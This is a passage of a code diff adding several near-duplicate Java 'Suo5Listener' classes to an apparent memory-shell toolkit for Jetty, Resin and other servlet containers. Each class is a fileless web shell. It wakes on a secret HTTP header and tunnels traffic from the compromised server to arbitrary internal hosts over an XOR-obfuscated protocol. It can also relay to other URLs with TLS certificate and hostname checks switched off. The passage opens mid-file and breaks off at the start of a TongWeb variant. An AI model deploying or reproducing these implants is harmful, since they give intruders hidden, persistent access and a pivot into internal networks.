public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
String contentType = request.getContentType();
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = (HttpServletResponse) getFieldValue(request, "response");
} catch (Exception ee) {
// glassfish7
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
}
}
return response;
}
}
@@ -0,0 +1,603 @@
package com.reajason.javaweb.memshell.jetty.suo5;
import javax.net.ssl.*;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Listener() {
}
public Suo5Listener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
String contentType = request.getContentType();
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
}
return response;
}
}
@@ -0,0 +1,599 @@
package com.reajason.javaweb.memshell.resin.suo5;
import javax.net.ssl.*;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Listener() {
}
public Suo5Listener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
String contentType = request.getContentType();
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
response = (HttpServletResponse) getFieldValue(request, "_response");
return response;
}
}
@@ -0,0 +1,606 @@
package com.reajason.javaweb.memshell.tongweb.suo5;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.net.ssl.*;
import javax.servlet.ServletException;
